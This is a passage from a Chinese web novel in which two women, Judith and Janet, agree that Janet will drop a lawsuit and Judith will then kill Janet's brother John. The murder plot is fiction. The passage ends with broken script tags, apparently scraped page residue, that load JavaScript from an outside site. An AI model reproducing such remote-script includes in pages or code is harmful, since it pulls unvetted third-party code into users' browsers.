朱蒂斯若有所思,她喜欢看讨厌的家庭内讧的场面。
“你的母父怎么说?”
珍妮特撇开头,“还能怎么说,她们向来觉得约翰的意见是最重要的。他说什么就是什么,从来不管我怎么想。”
朱蒂斯在珍妮特耳边,好心地说:“那要不我帮你也把他们杀掉?”
珍妮特一惊,往后大退一步,尖声说:“不行!不可以!”
朱蒂斯看着珍妮特惊慌失措的表情,觉得很滑稽,她耸耸肩,云淡风轻地说:“我只是开个玩笑而已,你这么着急干什么?”
珍妮特反应过来,自己被朱蒂斯耍了一道后,有些恼怒,但仍压低声音问:“那你同意了我的邀请吗?”
朱蒂斯摆摆手说:“你什么时候撤诉,我就什么时候把约翰的头割下来。”
珍妮特马上回答道:“我明天早上来找你,我们一起去市镇法庭,撤诉以后,我希望你能尽快行动。”
朱蒂斯挑挑眉,她对这个回答很满意。
珍妮特穿上黑色的斗篷,要出门时。
朱蒂斯又问:“约翰死后,你的母父会将我告上法庭吗?”
珍妮特边走边不回头地说:“不会,我会说服他们的。到时候她们就只有我一个孩子了,不会忤逆我的。”
门又被关上后,朱蒂斯又拿出了下午锻造的匕首,仔细观察。
她其实并不太相信珍妮特的话,但确实如她所说,可以撤诉的人只有她。况且既然珍妮特主动提出要先撤诉再杀约翰,那她不妨等明天看看珍妮特是否履行约定再做打算。她在一天内经历了太多次情绪起伏,以至于现在看什么都淡淡的。
她没有多余的可以消耗的情感了。
望着匕首上漂亮的水波纹,朱蒂斯不禁沿着纹路细细地抚摸,锻造完这把剑以后,珍妮特就给她带了事物的转机。这是不是说明,这把剑是她的幸运之剑呢。还是说,命运在暗示她,低声下气只会被踩在脚底,只有刀锋才能让敌人臣服。
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">